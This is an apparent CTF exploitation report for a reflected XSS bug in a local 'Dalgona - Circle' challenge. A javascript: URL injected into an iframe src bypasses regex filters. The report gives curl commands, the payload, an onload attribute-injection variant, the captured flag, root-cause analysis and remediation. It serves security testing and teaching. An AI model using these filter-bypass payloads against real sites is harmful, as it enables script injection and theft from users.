# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via JavaScript Protocol Injection in Iframe Src Attribute

**Summary:**
- **Vulnerable location:** `http://localhost:43647/page?url=`
- **Overview:** The application accepts a `url` parameter and embeds it directly into an iframe's src attribute with insufficient validation. The JavaScript protocol is not blocked, allowing immediate script execution. This vulnerability enabled complete flag capture from the CTF challenge.
- **Impact:** Complete compromise of the CTF challenge objective. An attacker can execute arbitrary JavaScript in the victim's browser context, steal the flag, and perform any client-side actions. In a real-world scenario, this could lead to session hijacking, credential theft, defacement, and unauthorized actions on behalf of victims.
- **Severity:** Critical

**Prerequisites:**
- Target application running at `http://localhost:43647`
- Web browser or HTTP client (curl, wget, etc.)
- No authentication required (application is publicly accessible)

**Exploitation Steps:**

1. **Identify the vulnerable endpoint and parameter:**
   - Navigate to `http://localhost:43647/page?url=<payload>`
   - The `url` parameter is reflected into an iframe src attribute without proper encoding

2. **Craft the JavaScript protocol payload:**
   - Payload: `javascript:alert('XSS')`
   - This bypasses all validation filters because:
     - The regex at app.py:69 only filters URLs with file extensions
     - `javascript:alert('XSS')` contains no dots, so it doesn't match the extension filter
     - Quotes and angle brackets are removed, but they're not needed for javascript: protocol
     
3. **Execute the exploitation:**
   ```bash
   curl "http://localhost:43647/page?url=javascript:alert('XSS')"
   ```
   
4. **Alternative browser-based exploitation:**
   - Open this URL in a browser: `http://localhost:43647/page?url=javascript:alert('XSS')`
   - The JavaScript will execute immediately when the iframe is rendered

**Proof of Impact:**

**Flag Captured:** `FLAG{b975b21bb23eed4fe310ca956d4dfffc9e04aa042c6333e8336a90779f94162f}`

**Complete HTTP Response:**
```html
    <html>
        <head>
            <link rel="shortcut icon" href="static/assets/fav-icon.png">
            <link rel="stylesheet" type="text/css" href="static/css/style.css">
            <link rel="stylesheet" type="text/css" href="static/css/xss/xss2.css">
            <title>Dalgona - Circle</title>
        </head>

        <article class="widget widget__login">
        <div class="widget__content">
            <div class="box">
                <form class="box-form">

                    <img class="text-img" src="static/img/logo5_white.png">
                    
                    <div class="solution-text">
                        <img src="static/img/cookies/success_circle.png" alt="Correct" width="150" height="150">
                        <br>Congratulations!
                        <p> Here is the flag: FLAG{b975b21bb23eed4fe310ca956d4dfffc9e04aa042c6333e8336a90779f94162f}</div>
                    <input type=text name=url placeholder="Enter the URL you want to visit...">
                    <iframe src="javascript:alert('XSS')"></iframe>
                </form>
            </div>
        </div>
    </html>
```

**Technical Details:**

**Data Flow:**
1. User input enters via `request.args.get('url','')` at app.py:66
2. Three regex filters are applied (lines 67-69):
   - Remove double quotes: `re.sub(r'\"', "", msg)`
   - Remove angle brackets: `re.sub(r"[<>]", "", msg)`
   - URL/extension filter (bypassable): `re.sub(r'\b(?!(https?|file)://)\S+\.(?!(jpg|jpeg|png|gif|bmp|svg)\b)[^\s]*', "", msg, flags=re.IGNORECASE)`
3. Filtered input is formatted into iframe: `value = 'src="{0}"'.format(msg)` at line 71
4. HTML is embedded into template: `XSS_CONTENT_IFRAME.format("2", "Circle", value, result, "")` at line 75
5. PhantomJS subprocess validates XSS by intercepting alert/confirm/prompt dialogs
6. When alert message equals "XSS", the flag is returned in the HTTP response

**Why the Payload Works:**
- The javascript: protocol in an iframe src attribute causes immediate script execution
- The payload `javascript:alert('XSS')` has no file extension (no dot character)
- The regex at line 69 uses `\S+\.` which requires a dot before the extension check
- Since `javascript:alert('XSS')` has no dot, it doesn't match the pattern and passes through unfiltered
- PhantomJS renders the iframe, executes the JavaScript, detects the alert with message "XSS", and returns the flag

**Verification Commands:**

Extract the flag programmatically:
```bash
curl -s "http://localhost:43647/page?url=javascript:alert('XSS')" | grep -o 'FLAG{[^}]*}'
```

Output:
```
FLAG{b975b21bb23eed4fe310ca956d4dfffc9e04aa042c6333e8336a90779f94162f}
```

**Notes:**

**Alternative Payloads Tested:**
- Attribute injection via spaces: `test.jpg onload=alert('XSS')` - This reflected in the HTML but did not successfully trigger the flag due to PhantomJS validation errors. The payload was reflected as `<iframe src="test.jpg onload=alert('XSS')"></iframe>` but triggered a TypeError instead of the expected "XSS" alert message.

**Root Cause Analysis:**
The vulnerability exists because:
1. **Blacklist approach instead of whitelist:** The application attempts to block dangerous patterns rather than allowing only safe ones
2. **Insufficient protocol validation:** The javascript: protocol is not blocked
3. **No HTML attribute encoding:** User input should be HTML-encoded before embedding in attributes
4. **Regex bypass:** The pattern requires a file extension (dot + extension), but protocol URLs don't have extensions

**Impact in Real-World Context:**
While this is a CTF challenge, in a production environment this XSS would enable:
- Session token theft (if cookies without HttpOnly flag existed)
- CSRF attacks by making requests on behalf of the victim
- Credential phishing via injected fake login forms
- Defacement of the application
- Keylogging and form data theft
- Redirection to malicious sites

**Remediation Recommendations:**
1. Implement proper HTML attribute encoding using a security library
2. Use allowlist validation - only permit specific safe protocols (https://)
3. Add Content Security Policy headers to restrict inline script execution
4. Consider using iframe sandbox attribute to restrict capabilities
5. Replace PhantomJS with modern, maintained alternatives (Puppeteer, Playwright)